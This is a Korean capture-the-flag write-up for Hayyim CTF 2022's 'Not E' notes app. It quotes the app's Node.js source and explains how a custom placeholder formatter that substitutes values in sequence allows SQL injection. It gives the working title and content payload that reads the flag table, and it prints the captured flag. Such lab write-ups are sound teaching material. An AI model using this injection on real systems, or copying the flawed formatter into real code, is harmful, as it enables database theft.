[Clear] Hayyim CTF 2022 Not E Writeup
주어진 페이지에 접근해보면 아래와같이 로그인 후 노트를 기록할수있는 페이지가 나타난다.
주어진 소스를 분석해보자.
app.js를 보면 prepareStatement와 유사하게 안전하게 처리되어있는 듯 보인다.
const crypto = require('crypto');
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const { Database, md5, checkParam } = require('./utils');
const app = express();
const db = new Database(':memory:');
app.set('view engine', 'ejs')
app.use(bodyParser.urlencoded({
extended: false
}));
app.use(session({
secret: crypto.randomBytes(32).toString()
}));
app.all('/login', async (req, res) => {
if (req.method !== 'POST') {
return res.render('login');
}
const { username, password } = req.body;
if (!checkParam(username) || !checkParam(password)) {
return res.redirect('?message=invalid argument');
}
const result = await db.get('select username, password from members where username = ?', [
username
]);
if (!result) {
await db.run('insert into members values (?, ?)', [ username, md5(password) ]);
} else if (result.password !== md5(password)) {
return res.redirect('?message=incorrect password');
}
req.session.login = username;
res.redirect('/');
});
app.use((req, res, next) => {
if (!req.session.login) {
res.redirect('/login');
}
next();
});
app.use('/logout', (req, res) => {
delete req.session.login;
res.redirect('/login');
});
app.get('/', async (req, res) => {
const notes = await db.getAll('select * from posts where owner = ?', [ req.session.login ]);
res.render('list', { notes, auth: true });
});
app.all('/new', async (req, res) => {
if (req.method !== 'POST') {
return res.render('new', { auth: true });
}
const { title, content } = req.body;
console.log("[*] title = "+title);
console.log("[*] typeof title = "+(typeof title));
console.log("[*] content = "+content);
console.log("[*] typeof content = "+(typeof content))
if (!checkParam(title) || !checkParam(content)) {
return res.redirect('?message=invalid argument');
}
const noteId = md5(title + content);
await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]);
return res.redirect('/?message=successfully created');
});
app.get('/view/:noteId', async (req, res) => {
const { noteId } = req.params;
console.log("[*] noteId = "+noteId)
console.log("[*] typeofnoteId = "+(typeof noteId))
const note = await db.get('select * from posts where id = ?', [ noteId ]);
if (!note) {
return res.redirect('/?message=invalid note');
}
res.render('view', { note, auth: true });
});
app.listen(1000);
하지만 util.js에서 특이한점을 발견했다.
const sqlite3 = require('sqlite3');
const flag = require('fs').readFileSync('/flag').toString();
class Database {
constructor(filename) {
this.db = new sqlite3.Database(filename);
this.db.serialize(() => {
this.run('create table members (username text, password text)');
this.run('create table posts (id text, title text, content text, owner text)');
this.run('create table flag (flag text)'); ##### .......................... (1)
this.run('insert into flag values (?)', [ flag ]);
});
}
run(...params) {
return new Promise((resolve) => {
this.db.serialize(() => {
this.db.run(this.#formatQuery(...params), (_, res) => {
resolve(res);
});
});
});
}
get(...params) {
return new Promise((resolve) => {
this.db.serialize(() => {
this.db.get(this.#formatQuery(...params), (_, res) => {
resolve(res);
});
});
});
}
getAll(...params) {
return new Promise((resolve) => {
this.db.serialize(() => {
this.db.all(this.#formatQuery(...params), (_, res) => {
resolve(res);
});
});
});
}
#formatQuery(sql, params = []) { ##### .......................................... (2)
let a = 0;
for (const param of params) {
if (typeof param === 'number') {
} else if (typeof param === 'string') {
sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));
} else {
sql = sql.replace('?', ""); // unreachable
}
a++;
}
return sql;
};
}
const checkParam = (param) => {
if (typeof param !== 'string' || param.length === 0 || param.length > 256) {
return false;
}
return true;
};
module.exports = {
Database,
checkParam,
md5: require('md5')
};
(2)와 같이 구문이 안전한지 여부 검사 후 적용시키는 #formatQuery라는 내용을 직접 구현했다.
사용자 입력 값이 string type 일때 " 와 \ 를 제거하고 ? 에 Replace 시킨다는 내용이다.
처음에는 서버에서 number type으로 인식시키면 바로 sqli가 가능하다고 보여져서 이쪽으로 삽질을 했으나 실패했다. Content-type을 바꿔보는 등 여러 시도를 해보았으나 undefined 로 인식하거나 String으로 인식하는것이 전부였다.
이 과정을 통해 얻은점은 JSON.stringfy() 메서드는 양끝에 " 를 추가한다는 것이다.
number type에 대한 집착을 버리고 다시 sql injection 방법을 고민해봤다. 소스코드를 다시 한 번 찬찬히 분석해보니 취약 포인트를 알 수 있었다.
note가 기록되는 부분은 아래와 같이 호출되며,
await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]);
#formatQuery는 여러 파라미터를 처리할때 ?를 사용자 입력값으로 바꾸는 것을 "반복적"으로 수행한다.
#formatQuery(sql, params = []) {
let a = 0;
for (const param of params) {
if (typeof param === 'number') {
sql = sql.replace('?', param);
} else if (typeof param === 'string') {
sql = sql.replace('?', JSON.stringify(param.replace(/["\\]/g, '')));)))
} else {
console.log("[*] sql unreachable = "+sql)
}
a++;
}
return sql;
};
따라서, 아래와 같이 title과 content를 입력하면,
입력한 payload는 다음고 같이 처리될 것이다.
?
||'ThisIsTitle',(select flag from flag),'vardy')-- -
title content에 삽입될 서브쿼리 owner
좀 더 자세하게 보면 우선 첫번 째 ?가 noteId로 입력되고
insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", ?, ?, ?)
title에 ? 를 입력했으므로 "?" 로 변환되어 두번째 ? 자리에 적용된다.
insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", "?", ?, ?)
content에 입력한 값은 이제 세번째 ? 가 아닌 "?" 안에 있는 물음표에 적용되어 Sql injection이 발생한다.
insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", ""||'ThisIsTitle',(select flag from flag),'vardy')-- -"", ?, ?)
이는 아래와 같이 처리되어 노트에 플래그가 기록된다.
insert into posts values ("4b8d9ffeb4cf8652d4af45a61d46f615", 'ThisIsTitle', (select flag from flag),'vardy')
FLAG = hsctf{038d083216a920c589917b898ff41fd9611956b711035b30766ffaf2ae7f75f2}